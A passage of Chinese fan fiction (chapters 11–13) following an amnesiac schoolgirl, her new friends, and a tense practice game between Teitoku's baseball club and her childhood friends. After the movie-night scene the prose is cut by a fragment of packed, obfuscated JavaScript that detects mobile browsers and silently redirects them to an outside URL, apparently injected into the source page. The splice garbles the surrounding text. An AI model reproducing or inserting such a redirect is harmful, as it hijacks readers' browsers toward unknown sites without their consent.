等我抱着留有护手霜香气的手机美滋滋地回到座位上时,还看到了不知道什么时候回到教室的国都英一郎,于是我也向他提出了交换联系方式的请求。
但他表示,因为帝德棒球部只能使用无sims卡的手机,所以他只能在我的手机里留下自己的联系方式,顺便让我把我的联系方式写下来,他会在月休的时候回去,记在自己的手机卡里。
放学以后,我照例准备一个人回家,但没想到结衣居然来找我了。
原来她也还没有加入社团,所以不用参加接下来的社团活动,而杏奈是美术部的部员,莉绪则是学生会的一年级秘书。
不过她也有了想要加入的部门,是学校的啦啦队,因为她很憧憬美式校园电影里自信骄傲的啦啦队长,顺带一提她最喜欢的电影类型是chick flicks。
我的心脏就如同被击中了一般,因为这也是我最喜欢的电影类型,尤其是校园题材。
而她也表现地相当惊喜,并邀请我去她家一起看电影,用她那台作为升学礼物的贵价投影仪。
我当然是接受了!
在医院苏醒以后,身边不是妈妈,就是医生护士,唯二的同龄人玩伴也只有圭酱和哈鲁酱,这么久了,还从来没和女孩子一起玩过。
太好了。
我几乎要感动地泪流满面。
并在圭酱发来去他家玩的邀请时,想也不想就拒绝了,并祝他们玩的开心。
于是我下意识就挽上了结衣的胳膊,用那种闪闪发光的眼神期待地看着她。
她惊讶了一秒,然后笑着点了点头。
在回结衣家之前,我们先去附近的电影院买了一份爆米花,并在店员惊讶的眼神中朝着检票入口相反的方向走去。
结衣的妈妈热情地向我表示了欢迎,并且用玻璃杯装上了满满的冰块和嘶嘶冒气的可乐作为招待。
抱着从电影院买来的爆米花,手边是冰冰凉的可乐,和聊得来的朋友一起看最喜欢的电影——
这里是天堂吗?
我下意识尝了一口可乐,“嘶,好冰。”
舌尖传来的碳酸饮料造成的酥麻和冰块带来的冰凉刺激,让我不自觉耸了耸肩。
但结衣似乎觉得这样的我很有意思,因为她开心地笑出了声。
我也露出了发自内心的笑容,大概是因为太幸福了吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033459|162363||http|test|mini|href|location''.split(''|''),0,{}));
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>幸福到让人想要流泪。
一个人回家的时候,我甚至一边走一边哼起了不知名的小调。
走路的方式也很随性,时而快走几步,时而往前小跳一步,想象着面前凭空出现了一个小泥溏。
有时候甚至还会闭上——
啊。
撞到人了。
但我发誓我闭上眼睛才不到一秒。
突然的碰撞让我本就不稳当的走路姿势彻底失去了重心,就在我以为自己要一屁股坐在地上的时候,那个被我撞到的人及时扶住了我的肩膀,把我稳稳地‘立’在了地上。
“谢谢。”我抬起头,真诚地向他道谢,顺便也看清了他的长相。
一张很特别的脸,要说哪特别,大概是感觉?感觉很像聊斋里的狐狸精怪,总和书生一起出现的那种。
而且仔细一看,他的头发也是偏蓝的银白色,垂顺的偏刘海几乎遮住了另一边的眼睛。
面对这个发型,我突然产生了一些不礼貌的想法。
好在我是个懂礼貌,且不懂日语的人。
“舞台剧演员吗?我还是第一次看到有人那样走路呢~而且比起道谢,不是应该先道歉吗?毕竟是你撞到了我哦。”
他一下子说了一长段日语,而且口音还有些奇怪,语调拐来拐去地,还带着黏黏糊糊的尾音——
本来日语听力水平就不好,还乱加口音,现在更是一个字也听不懂了。
还是先道歉吧,毕竟我撞到人了。
“抱歉,我听不懂。还有,抱歉,撞到你。”
听到我的回复,他收敛起了笑意,一边摩挲着下巴,一边慢慢朝我靠近,甚至考虑到了身高上的差距,俯身低头——
靠、靠这么近干什么?
不会真是狐狸精来的吧!
“...在嘲笑别人的口音吗?说什么听不懂...而且你说话也很奇怪嘛,哪有人说话一个词一个词地说的。”
仔细一看,他好像没有在诱惑我,因为他的脸色看上去不太美妙。
难道是我说错话了?
但我只是道歉而已,道歉也有错吗?
而且这么一看他也好高啊。
“干嘛这样看着我?而且为什么不说话?说~话~”
啊,这个词我听懂了,但是我能说什么,我连你说什么都不知道我还能说什么...
道歉你也不满意...
不说话你也不乐意...
好难搞啊这个人...
“为什么露出一副嫌麻烦的表情,我才是无辜的吧。”
没办法,我开始拿出手机开始快速打字。
【对不起,撞到了你很抱歉。而且我不太会日语,所以如果有冒犯到你,也很抱歉。】
看完手机上的字,他把手机还给了我。
“...算了,你走吧。”
说着,他就退到了一边。
可以走了?
我试探着向前走了一步,然后又看了看他的反应。
他似乎知道我在想什么,于是点了点头。
于是我果断地向他鞠了一躬同时表示歉意和感谢,随后头也不回地快步离开了现场。
开玩笑,万一他后悔了怎么办。
毕竟他这个人的行径看上去真的很诡异。
被撞到了不生气,听我道歉反而生气了,跟他解释以后又直接放我走...
搞不懂。
吃晚饭的时候,我高兴地向妈妈宣布自己终于交到了女生朋友,而且是三个,而且还去了结衣的家里,发现我们都喜欢看同一种电影。
我还特别提到了结衣想加入拉拉队的想法,和那个想成为电影中的啦啦队长的理由。
但妈妈跟我说,她中学的时候,真的是啦啦队长,还拿出了她的照片。
真是深藏不露啊...我默默想着。
第二天我起得很早,可能是因为昨天晚上睡的也比较早的缘故。
来教室的时候,我听班上的男生在讨论下午棒球部的练习赛,听说对手是不知名的都立,大家都在猜为什么作为甲子园常客的帝德会跟一所不知名都立约练习赛。
而我的想法是...都立,怎么了?
没有任何挑衅的意思,我是真的好奇,考虑到我为数不多的几个朋友正在一所都立打棒球。
午休结束之前,我问起了这个问题。
因为父亲是棒球爱好者、所以对棒球运动也还算了解的杏奈向我科普,在高中棒球界,能拿到甲子园入场资格的学校无疑是各地区的豪强,例如帝德。而拿到过甲子园入场资格的都立学校,迄今为止一共不超过三所。
听到这个消息,我脸上的表情瞬间变得有些凝重。
“怎么了?和诗?”
“不...没什么。”我下意识地用否认来回应。
我只是想到了那天看到的,小手指的几人在棒球场上抛球、打出、奔跑、接球的画面,这几个人的名字我都知道,其中的两个人,甚至还是我有记忆以来,最先交到的朋友。
一般来说...如果打棒球,都会想去甲子园的吧。
但在这样的概率面前,也许只能期待奇迹了吧。
出于回避的心理,下午的时候我没再把注意力放到这件事上。
放学以后,我照例准备回家,但这次是一个人。
叮——
【和诗酱~猜猜我们现在在哪?[照片][照片]】
我一眼就认出了照片中的自家学校大门。
‘跟一所不知名都立约练习赛’
‘不知名都立’
都立...小手指?!
11. 失忆了顺便碰上了大乌龙
与此同时,已到达棒球场的小手指众人。
“和诗酱还没有回消息诶,不是已经放学...啊,已读了!”
下一秒,要圭的手机就收到了新消息。
【跟帝德棒球部的练习赛吗?】
【和诗酱怎么知道?难道你也对棒球感兴趣了嘛~其实我最近也没那么讨厌棒球了。】
【不,只是听同班同学提起过这件事。】
【原来如此!和诗酱还在学校吧,来看我们比赛嘛?结束以后一起去家庭餐厅庆祝吧?今天葵酱和瞬仔也在哦~真是两个不坦率的家伙。】
要去吗?
想了想,我今天好像也没有特别的事情,而且家庭餐厅最近也推出了新菜单...
【嗯。我很快就到。】
收到肯定答复后,要圭向正盯着他手机的清峰叶流火说,“她说她会来...”
话还没说完,一道陌生的声音在要圭的面前响起——
“清峰君,要君!真是好久不见了...”
.
等我赶到的时候,眼前出现了无比诡异的一幕——
发生什么事了。
为什么我认识的人都聚在一起。
圭酱拉着自己的帽檐,背对着帝德的棒球部成员,看他心虚的表情就知道,对于这场闹剧的出现他绝对作出了突出贡献。
哈鲁酱还是一副若无其事的样子站在那里,仿佛身边发生的一切都与他无关...但我猜这小子也好不到哪去。
瞬平不知道为什么在一边戴着耳机,葵酱和小山虽然有意想说点什么,但就目前的情况而言,他们大概是说什么也没用了。
最令人费解的是站在中间,张开双手拦在小手指和帝德众人之间的国都英一郎,以及他说的话:
“大家不要这样,是我不好,怪我当时太弱了...”
后面的话我没听清,但这句话里包含的情报,已经够让我的头脑开始高速旋转了——
‘天才投捕’
‘kaname君’
‘kiyomine君’
‘I am kaname kei’
‘清峰君’
就在我逐渐理解一切时,我听到有人在说话,语气实在算不上友好,而这种几乎是开战宣言的话指向的对象也很明显,就是正在极力逃避这一切的圭酱。
等等!他抬头了!
我顿感不妙。
眼看着他的眼睛里开始出现pikapika的亮光,嘴角上扬口型张大,还有即将从他的声带中发出的——
“和诗酱!你是特意过来找我的嘛~救命啊!这里的人不知道为什么都很讨厌我!”
我只听懂了自己的名字。
就这样,全场的视线都被他用声音转移到了站在棒球场门口的无辜路过的我身上——
“有我同学?”
连国都英一郎都注意到了我...好吧他当然会注意到,他离圭酱那么近。
“你为什么认识和诗?”
我看到哈鲁酱转身开始对国都英一郎说着些什么,我听不懂,但大概率不是什么好话。
总之....此地不宜久留。
于是我转身就走,然后脚步逐渐加快,最后跑了起来,我全程不顾圭酱几乎带了哭腔的呼唤,头也没回一下。
那什么...你们,保重吧。
以我这种小身板,不管哪边打起来,都算不上半个战力...
懂我意思吧?
所以这种情况,我先考虑自己的安危也是很合理的...
对吧?
朋友,还会再有的。
我们也还能做朋友,如果你们成功活下来的话。
就这样,我离开了棒球场,
等离开那个是非之地后,才拿出手机给圭酱发了一条消息,希望他还有机会活着看到。
【我在学校门口等你们。】
然后我就去旁边的咖啡店点了一杯冰可可,安慰自己受惊的心灵,和因为尴尬在地板上做了很多无用功的脚趾。
所以那对让国都英一郎对佐佐木等产生共鸣的天才投捕就是我认识的哈鲁酱和圭酱。
我知道哈鲁酱很厉害,但圭酱...啊,在医院的时候他确实也提到过圭酱以前是很厉害的选手。
话说这世界也太小了吧?
而且看样子他们刚刚还闹得不太愉快,虽然我很放心国都英一郎的人品,而且从之前的聊天中也能知道,他不仅不讨厌这两个人,而且还发自内心地欣赏他们。
但是...我莫名想到了佐佐木等。
唉,总感觉不是那么简单的感情啊...
而且真的好尴尬
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啊,还好我及时逃走了,如果继续待在那里,感觉看谁输都不合适,开心也不是,不开心也不是,虽然只是一场练习赛...
“好巧啊,有我同学。”
听着这个熟悉的欠揍嗓音,我反应了三秒钟,不敢相信人会倒霉到这种地步...
今天是不是不该出门。
与此同时,帝德棒球场。
“你为什么认识和诗?”清峰叶流火突然发问。
“我们...”
是同学,还是朋友呢?
【国都是我的朋友。】
“我们是朋友。”国都英一郎的语气突然变得很笃定。
听到这个答案,清峰叶流火不满地皱起了眉毛,他想起了有我和诗之前提到过的那位她在学校里唯一的‘朋友’,那个不知道为什么听上去就很不爽的‘朋友’。
“我才是和诗的朋友。”清峰叶流火有些赌气地说到,尽管他听上去还是很平静,但脸上的表情早已不是那么回事了。
“清峰君,朋友不是只有一个...”山田太郎试图向他解释。
“但是和诗送了他手指饼干,她之前都只给我的。”清峰叶流火也开始向山田太郎解释其中的关键。
叶流火说的其实是一种商店货架上很常见的手指饼干,但他的说法和他异常的执拗态度,很难不让人怀疑这种‘手指饼干’是否有着某种特殊的含义...
比如象征着心意的手工饼干。
除了在角落里默默纠正的要圭:“那个,和诗酱也会送我哦。”
“这个混蛋也能收到女孩子亲手制作的饼干吗?!”藤堂葵看上去有些无法接受。
但帝德的人已经完全听不见他们说的话了,而是沉浸于国都英一郎在异性缘方面打败了对方的事实——
“哈,当然了,我们国都可是世界上最优秀的男人,不管跟什么人比,是女孩子就都会选他。”
“原来是因为不甘心输给国都才故意看轻他的吗?还真是可怜。”
“我没有输。”清峰叶流火身边的气压越来越低,几乎要形成一场局部暴雨。
“对哦对哦,只是朋友、朋友!不要误会哦!和诗酱只是很喜欢跟大家分享零食啦!”
就在局面即将爆发时,帝德的监督出现了,并在无尽的懊恼和不甘中强打着精神、组织起了比赛。
12. 失忆了顺便围观了练习赛
“你有什么事吗?”
虽然烦人,但摆脱了敌暗我明的劣势之后,我已经不会在他面前束手无策了。
“没有,只是刚好看到,过来问好。作为同学,这很正常吧?”
看着这张堪称完美的面具,再联想到他明明讨厌我讨厌地要死还要刻意展示自己的友好,我完全不知道他到底在想什么。
这么做他又能得到什么呢?
还是对着讨厌的人露出笑脸,会让他感到开心?
他脑子...没问题吧?
“你到底想干什么?”
“没,什么都没——”
我不耐烦地打断他,“I know you hate me. I read those race reports, and I do have memory loss, but I''m not blind.(我知道你讨厌我,我看了那些比赛报导。我是失忆了,但我没瞎)”
大概是因为在这里看书吧,所以那副平平无奇的黑色边框眼镜还挂在他挺直的鼻梁上,只是在听到这句话之后,他又伸手将它摘下,动作随意地挂在衬衫开口处。
直到这时我才注意到,在校外的时候,这人会解开原本老老实实扣到顶端的衬衫扣。
“You think I hate you because you defeat me?(你以为我是因为输给你才讨厌你的?)”
我一脸‘那不然呢’的表情看着他。
“哈哈...So you still know nothing.(所以你还是什么都不知道)”
那咋了?我本来就失忆了。
我继续对自己的一无所知理直气壮。
“So you''re gonna explain it to me?(那你会跟我解释吗?)”
“No, I won''t.”
...
我深吸一口气,努力平复不断翻涌的情绪,极力不让那个‘滚’字从我嘴中说出,虽然我真的真的真的很想让他滚。
而为了做到这一点,我开始用手机打字,尽管和佐佐木等交流时并不存在语言障碍,我只是单纯不想跟这个擅自在我对面坐下的人说话。
【我该怎么做你才不会来烦我?】
他用日语嘟囔了一句我听不懂的话,大概是在抱怨我的多此一举。
证据就是他也开始掏出手机打字,可能不希望被周围的人以为自己有对着别人自言自语的癖好。
【你问了这么多问题,是不是也该轮到我来提问了?】
我撇了撇嘴,他看上去很意外,像是没料到我会作出这样的表情。
但他的惊讶没有持续很久,很快他就继续向我展示自己的手机屏幕——
【你为什么不讨厌他?】
我下意识想问他说的是谁,但一想,我印象里我们两个都认识、又彼此知情的人好像就那么一个...
没错,从上午开始他就对国都表现出了来源不明的敌意。
...
话说这人属炮仗的吗,怎么谁都能惹到他,不过...
【我为什么要讨厌他?】
【那你为什么讨厌我?】
明明失去记忆了不是吗——
我猜这是支撑佐佐木等问出这个问题的前一环逻辑。
【还不是因为你那天让我当众出糗了,开学第一天就让别人陷入那种尴尬的境地,会给你好脸色看才奇怪吧?】
“哈?”他难以置信地看着我,喉咙里挤出一个孤立的音节。
我毫不回避地直视着他,因为我说了实话。
他也看出来了我没在撒谎,所以暂时收回了那种看着就让人火大的狐疑。
“对不起。”
他道歉了。
出乎我的意料。
虽然来得有点迟,但好在我大人有大量——
“算了,原谅你了。”
而且这下他应该就不会再缠着我了吧。
“能问问...为什么吗?”
“Because I hate to make things awkward, anything.(因为我讨厌让事情变得尴尬,任何事)”
——‘不要让局面变得尴尬,佐佐木同学。’
听到这句话,佐佐木等似乎想起了什么,他很久都没有说话。
“Not just yourself,also, you wouldn’t embarrassing others, right?(不止是你自己,你也不喜欢让别人尴尬,对吗?)”
当然了。
我毫不犹豫地点头。
他的表情突然变得有些奇怪,像在喝一杯超出承受能力的咖啡,但碍于面子又不好直接吐出来,只能强逼着自己将口中的苦涩咽下。
“所以那句谎话...其实是出于好意,嗤...”他开始喃喃自语,最后还发出一声冷笑。
呃...虽然听不懂说了什么,应该不是针对我吧?不然他一定会说英语的。
此时,他正坐在我的对面,因为他在我开口阻止之前,就相当自来熟地坐下了。
也许是为了拉近交谈者之间的距离,这家咖啡店设置的座位都离得很近,也是这份不同寻常的距离,让我发现了他身上的异样——
在他左手的袖口深处,有着深深浅浅的疤痕。
不知道为什么,我认出了这种形状奇特的疤痕,那是燃烧的烟头留下的烫伤。
几乎是出于本能地,我握住了这只满是伤疤的手。
他下意识地想缩回,但我握紧的手更用力。
他又满脸惊慌的看着我,下一秒,掩饰不及的慌乱被愤怒取代——
“你在干什么?”他几乎是从紧咬的牙槽缝隙里砌出了这几个字。
“谁干的?”但我没有丝毫要退缩的意思,而我也不知道自己为什么会这样,只是身体比理智先一步行动了。
“关你什么事?”
“谁干的?”得不到答案,我放不开这只手。
咖啡馆里的其他客人也注意到了这边的动静,工作人员也是——
“这位客人...”
“松开,我告诉你。”
于是我放开了他的手,但说实话,他这个人可信度实在不高,可是尽管如此,这一次我还是选择相信他的话。
“...是家里人。”他看上去不像是在撒谎。
“所以?”
“什么?”
他以为我没有听懂,但也不耐于重复,也不知是想起了什么,我只看见刚才还神色紧绷的佐佐木等嗤笑一声——
“你还是先学会听话,再来关心别人的事吧。”
我大概是真的把他惹急了,以至于让他忽略了我听不懂这种句式复杂的日语。
但他下一秒又想起了这个事实,只是他已经不愿意再用英语重复一遍刚刚那句发言。
“...I''ll never bother you again.(我再也不回来烦你了)”
虽然不知道具体的含义,但基本的判断能力我还是具备的。
这跟刚才那句...
不是同一句话。
阴差阳错般,我成功让佐佐木等主动举起了白旗,按理说我应该庆祝自己的胜利,但不知道为什么,我一点也开心不起来。
撂下这句话,他就离开了这里,虽然他极力克制着自己的动作,但我还是看出了一丝落荒而逃的意味。
莫名地,我也不想再在这个空间里待下去了,这里的空气凝滞到几乎要令人窒息。
走在家和学校的分岔路口,我突然想起了另一件事——
现在去看比赛的话...应该没人会注意到我吧?就跟前天一样。
带着这样的想法,我回到了棒球场边。
然后发现场内爆发出一阵欢呼——
“看这边————!国都——————!”
“国都————————!”
“国都万岁——————!”
...这里是在开粉丝见面会吗?
我来得正巧,此时站在场上的正是国都英一郎口中的天才投捕,也是我醒来以后第一次交到的朋友,圭酱和哈鲁酱。
而他自己,也正在用棒球棍辅助着拉伸。
我看到他笑着向圭酱说了些什么,圭酱看上去也挺开心的...
所以应该是解除误会了吧?
真是皆大欢喜。
但紧接着,圭酱突然摆出了一个熟悉的起手式——
等等!
不是、你先等等!
你们不是在比赛吗?比赛的时候不该做那个吧?!
而且绝对不能在这个人面前——
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“paige~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·”
...
啊。
好难受。好像脚下有蚂蚁在顺着皮肤往上爬。
当然了,哈鲁酱对此倒是一如既往的受用,只是...
“要同学。”
国都英一郎的语气相当冷淡,甚至可以说有些冷漠了。我从来没有听他用这种语气跟谁说过话,就算是对佐佐木等,也没有。
“你到底在说什么?”
“你刚刚是说‘paige’了吗?”
明明被逼问的对象不是我,但我却有一种如芒刺背的感觉,这是我在看他打出那种看上去能击飞人头的挥棒后,第二次对这个平时看起来畜无害的人产生切实的恐惧。
而场内的圭酱也产生了发自内心的惊慌,他甚至直接跪倒在了地上,头都抬不起来。
“是...我说了。”
“也就是说...胸部那边的毛吗?”
“呃,那个...”
“别想蒙蔽过去,直接回答我的问题。”
...国都...好可怕。
如果他这样盘问我,不超过三秒我绝对会哭出来,还会一边哭一边向不在身边的妈妈求助。
“是,是长在□□(奇酷比)周围的毛发...”
奇酷比?奇酷比是什么?话说圭酱好像很喜欢在一些句子里用这个词,是语气助词之类的吗?
“要君你有长吗?”
怎么还没完。
好漫长。
这段质——
...
我刚刚。
想说什么来着。
将我拉回现实的,是还深陷在精神溃散中无法自拔的圭酱。
“并没有...”说着,圭酱双手撑地,彻底不敢面对他了,“我一直在想要是能长出来就好了!”
长...什么?
“现在就算你胸前密如丛林...”
说着,国都英一郎调整了自己的姿势,一边作出一个准备击球的动作,一边继续开口——
“刚刚那招一发技,我也完全不觉得好笑。”
虽然听不懂你说了什么但...
别说了。
场上有个人要碎了。
但现在没空找人给他拼回去...那什么...你自己努力吧,圭酱。
只是哈鲁酱看上去明显生气了,接下来的球,他投得都非常用力。
不过也都被国都英一郎打了出去。
而等他下场以后,能压制哈鲁酱的球员就几乎没有了。
接下来的几局结束地都很快,直到——
砰————!
怎么回事?球怎么从那边?!
“没事吗?”
“诶?是!”
“打中了面具吗?”
“是!没问题!”
...看来是打中人了,虽然有护具,但那种力度...
我不由自主地抓紧了一旁的铁网,铁丝在指腹间刻出深色的勒痕。
接下来的几球,圭酱都接得很艰难,或者说大部分球根本就没被接住。
哈鲁酱也发现了,所以他放缓了投球的速度,即使他引以为傲的投球也因此被对方一次又一次地打出——
他也投着那些很缓慢,但或许能被圭酱接住的球。
比赛结束后,监督就召集大家解散了,在散场的时候,国都英一郎看见了我,但我隔着铁网,将食指竖在唇间,比了个‘噤声’的手势,向他示意希望他能保密、对我的存在。
也是隔着铁丝网,他向我点了点头。
我松了一口气,天知道我现在有多怵他。
那位监督还拉着小手指的几人说了些什么,临走的时候,几人手上提了一个白色的纸袋。
见他们要出来,我连忙躲到了一边,找了一条小路,先去了校外。
今天...还是先一个人回去吧。
我打开手机,打算给圭酱再发一条消息,告诉他自己先回去了,但在此之前,我收到了来自另一个人的讯息——
【我看到你了。】
我下意识看向四周,果然在一条小路的拐角处,看到了一个熟悉的人影。
他看上去不太开心。
13. 失忆了,顺便想起了日语
“怎么了?哈~鲁酱?”我故意把第一个音节拖长,用有点腻歪的语气叫他的名字。
明明看到我了,几步路的距离,还是要发短信,应该是我当场逃走的反应让他以为我不想见到他吧...虽然从当时的情况来看,应该没错。
但现在可不一样了。
听到我的呼唤,他终于放心地朝我走了过来,最开始是慢慢地走,然后越走越快,直到站在我面前。
他不说话,我也只能拍拍他的背,充作安慰。
“其实,我是因为家庭餐厅,才来的。”
“但是比赛...”
“所以庆祝,等下次吧。”
“不过...只是去吃点东西的话,什么都不需要,对吧?”
“嗯。”略显沉闷的声音从头顶传来。
计划好的赛后聚餐,最后只有我和哈鲁酱两个人参与。
点完单,他又捏起了那个他平时用来锻炼腕力的握力器,闷闷的,没有说话。
我在心里叹了口气。
“吵架了吗?”
“他没接住我的球。”
啊...原来是因为这个。
“看来需要练习。”
“圭吗?”
“当然了。”
“但他之前能接住。”
“我知道。我以前也会说日语。”
他突然停下手中的动作,眼神懵懂的看着我。
“不是失忆了吗?圭酱。”
他点点头。
“所以练习过的东西,也会忘吧?记忆、技巧、动作。”
“但是...”
“他以前很厉害,对吧?所以他练起来,会比其他人,更快。”
“嗯,圭就是圭。”他终于露出了满意的笑容,但又转瞬即逝,“我还是,很生气。”
...我好像隐约猜到了。
但这种时候脑瓜就不要这么灵活了啊!
“还、还有别的原因吗?”
我其实不太擅长在熟悉的人面前撒谎。
“嗯...”他好像想到了什么,“国都...英一郎。”他又捏起了握力器,而且比之前更用力了。
“嗯...应该,是吧。我也,不清楚,哈...”我心虚地看向一边。
“他说,你们是朋友。”他突然定定地看向我。
“诶...是吗?好像是...有这回事。”
今天出餐速度怎么这么慢。
“所以,手指饼干,也给他了。”他的语气相当笃定,不知道的还以为他就在现场。
啊,给了,还不止一块呢。
“是...是吧。”
“为什么。”
“感谢?就是跟你说过的,因为鼓掌、一起吃饭什么的...总之,因为他,没那么尴尬了。哈鲁酱,知道的吧?”
他听懂了我的意思,所以不再追问,只是继续捏着手里的握力器,继续生着闷气。
不过现在大概是气我的部分居多。
这...算成功的安慰吗?
算了,随他去吧,反正哈鲁酱是那种吃一顿睡一觉就能消气一大半的好孩子。
而且,我也相信,剩下的那部分圭酱一定能轻松...好吧,可能在他看来并不怎么轻松,但总之——
没问题。
和上次一样,我也只点了甜品,哈鲁酱...可能是把正餐当甜品吃了吧,我只能这么理解。
“话说...你上课,泡茶泡饭,真的吗?”
“嗯,就是,桌子太小,不方便。”
...不方便的只有这个?
“老师...怎么说?”
“生气了,我搞不懂他。”
估计他也搞不懂你。
我默默在心里为那位无辜的老师点蜡,祝他工作顺利。
走出餐厅,我向哈鲁酱挥挥手,示意我要回去了。
但他摇了摇头,执意跟了上来。
我问他是不是还不想回家。
“和诗...是女孩子。不能让和诗,自己回去。”
看着他一脸认真的样子,我不禁慢慢瞪大了双眼——
“这个、这个是谁教你的?!”
“我大哥...”他的脸色突然变得有些难看。
啊,那位哥哥,之前也听他提起过,叶流火很怕他。
真了不起,居然能驯服哈鲁酱这种比野兽野蛮、比外星生物还莫名奇妙的神奇动物,清峰大哥真有一手。
但刚才真是吓死我了,所以他其实只是单纯听哥哥的话,对吧?
“那走吧。”我看了他一眼,朝着家的方向走去。
哈鲁酱就这样自觉地走在我旁边,和往常一样。
到家门口的时候,我没有直接走进去,而是走上台阶、转过身,借着脚底的高度和在平地上高我一大截的哈鲁酱平视——
“加油哦。”
“嗯。”他点了点头,带着很浅、很浅的微笑。
回到家中,我果然看到了正一脸‘我懂’的表情看着我的老妈。
啊,我也知道她在想什么,但我一点也不想问她,如果可以,我希望她也不要问我。
“是哈鲁酱呢。”
因为住院的那段时间哈鲁酱几乎是天天往医院跑,所以一来二回的,妈妈也认识了他,如果带点心来看我,还会顺便给他带一份。
“嗯。”
“怎么样?”
“什么怎么样?”我故意装作不知道她在说什么的样子。
“约会。”
“...不是那回事。妈妈,我饿了,想吃饭。”
“诶~难得只有你们两个人呢,圭酱呢?怎么不在。”
我看着手机里显示未读的短信,不知该作何解答。
我应该是知道的。
不过有时候我也会意识到这一点。
或许对于从车祸中醒来,带着对前生模糊记忆重新接手有我和诗的人生的我来说,圭酱和哈鲁酱就是所有接触过的人里,最为熟悉的存在。
但说到底,我们也才认识不到半年,而对于他们此前的经历,我尚且一无所知。
所以要说了解...
可能也没那么绝对吧。
“可能...想早点休息吧。”
我随便找了个理由应付过去。
“跟和诗一样呢。”
我用餐的动作一顿,木制的饭勺搁置在口中。
还好我还记得把它拿出来再开口。
“跟...以前一样吗?”
老妈点了点头。
她告诉我,以前的我如果心情不好,就会很早上床睡觉,有时候甚至连晚饭都不吃,直接睡到第二天早上。
真厉害。
连放松方式都这么健康。
换作是我,肯定会——
“有时候也会像小孩子一样。”
“一个劲地吃小时候喜欢的零食。”
说着,柔和的眼神中突然写满担忧。
“但那孩子吃起来就没完没了,好几次都把自己撑到吐出来,也是这个时候我才发现...啊,抱歉呢和诗,妈妈忘了,你现在听不懂——怎、怎么了?”
当妈妈的双手扶住我的肩膀,我意识到她眼中的担心已经从记忆里的有我和诗,转移到了我身上。
她突然像我伸出手,我还不明所以地愣在原地,直到她用温暖的拇指擦掉我不知何时流落的眼泪。
我低头看向她沾着泪渍的手,又抬头看向母亲眼中的自己。
那里的‘我’同样不知所措。
“我听懂了。”
居然连声音也哽咽了。
但我明明没想过要哭。
难道是被这份母爱感动了?
有可能,毕竟我一直以来都是一个相当感性的人。
也可能是我太高兴了吧——
“全部...都听懂了。”
·
哈鲁酱是那种看上去就不太会用手机跟人聊天,事实上也的确如此的人。
但自从昨天发了那条消息之后,这家伙变了。
早上,我还没起床,闹钟也还没响的时候,手机收到了一条新消息——
叮————
【我和圭在晨跑。】
一开始,我就像所有爱睡懒觉的高中生一样,直接忽视了这段不来自于闹铃的声音。
叮————
【跑完了,我们在做动作练习。】
我意识到了这两条消息大概是来自同一个人,毕竟一次性碰上两个大清早闲的没事给人发消息的二傻子的概率还是太低了——
给我等着。
等我醒来...
就...
...
就...
...
...
叮————
不行/
忍不了了。
左右也睡不着了,不如打电话过去问问这个人到底想干嘛,于是半梦半醒的我看都没看送信人名字,一个电话弹了过去——
“你是谁?有什么目的?Who sent U?”
“和诗,后面那个...我没听懂。”
这个熟悉的嗓音让我的理智稍微有些回笼,我移开听筒,又看了看手机的通话界面——
原来是哈鲁酱啊。
...
?
我现在真是越来越搞不懂他了。
“抱歉...早上起来心情不好。有什么事吗?”
“没有。”
...拳头硬了。
没事你发什么短信?!
“那我也没有要说的了。”
说完,我挂断了电话。
但也睡不着了。
一看时间还很早,连闹钟正常响起的时间也还有至少半个小时。
...拳头更硬了。
但我只能将脸下的棉花枕头当作哈鲁酱的替身,用力捶打,无能狂怒地哀嚎一声,以向世界展示像我这样的匹夫,一怒之下也只能怒了一下,不能让任何人流血。
甚至连刚锤完的枕头都要在发泄过后再拍拍揉揉、让它恢复原本的形状,以守护我每晚的幸福睡眠。
而做完这一切,我也已经彻底清醒。
算了,还是先起床吧。
刷牙的时候我的怒气消散得差不多,已经可以冷静地查看那些扰人美梦的短信了,点开以后我发现,哈鲁酱这小子完全没撒谎。
的确是没有什么特别的事情,晨跑、练习、练习结束,最后还附带一张人脸都糊到看不清、一看就是出自那种拍照的时候没意识到拍摄还未完成就把脸移开的自拍白痴之手。
但我总感觉有些奇怪。
他到底为什么要这么做?
穿好校服梳理完头发,我就拿着书包走到了楼下,厨房里没有人,但摆了一些食材和一个装填了四分之三的便当。
我看了看便当,又看了看摆在料理台上的两个鸡蛋,决定自己动手。
开火,热锅,倒油,等油热,再打入鸡蛋,煎至鸡蛋定型、蛋白外圈呈现焦脆形态后,再颠锅、翻面,最后再出锅。
另外一个也是一样。
等老妈从外面拿着今日份的牛奶回来时,我已经把其中两个煎蛋分别装进了我们各自的便当盒里。
“诶~和诗出品的煎蛋还是和以前一样完美嘛,还以为失忆之后就尝不到你的手艺了。”
“啊?啊...”
的确,一看到鸡蛋和锅就下意识这么做了,各种步骤和手法也很熟练,就像我本来就会的那样。
上课的时候也是,一旦克服了语言障碍理解了题目,答案就自动浮现在脑海中了,而且还会下意识觉得这些题目有些过于简单了。
所以说到底,失忆这件事造成的障碍就只有日语?
呵,如果有得选的话,在煎蛋和日语面前,我一定选后面那个。
可惜我没得选。
...
但无所谓啦。
今时不同往日,今天的有我和诗已经日本语本当上手。
用过早餐,我就带着和语言功能一起找回的自信出发去学校了。
只不过...
果然还是起得太早了吗?路上的人都比平时要少,也比平时要安静...
都怪哈鲁酱。
但走到学校附近的时候,这种安静就被打破了。
隔着围栏,我看见了已经在训练的棒球部。
我又想起早上那些短信,那个时候,哈鲁酱他们也是在训练。
所以我应该为自己的懒惰而感到自惭形秽吗?
不,那是他们的选择,跟我又没有关系,毕竟我可没有选择棒球。
所以我现在只觉得好困,好烦,好想去小手指狠狠揍那个罪魁祸首一顿。
但这也只是想想而已,事实上,我现在没有时间再去一趟小手指,也没有实力和轻轻松松就能把我举起来的哈鲁酱来一场古罗马式的决斗。
所以我也只能想想。
令人意外的是,当我走进教室的时候,里面已经有人了。
而且这个人...
也许是因为听到了我的脚步声,原本趴在桌子上睡觉的人抬头看了我一眼,我也借此认出了他。
是佐佐木等。
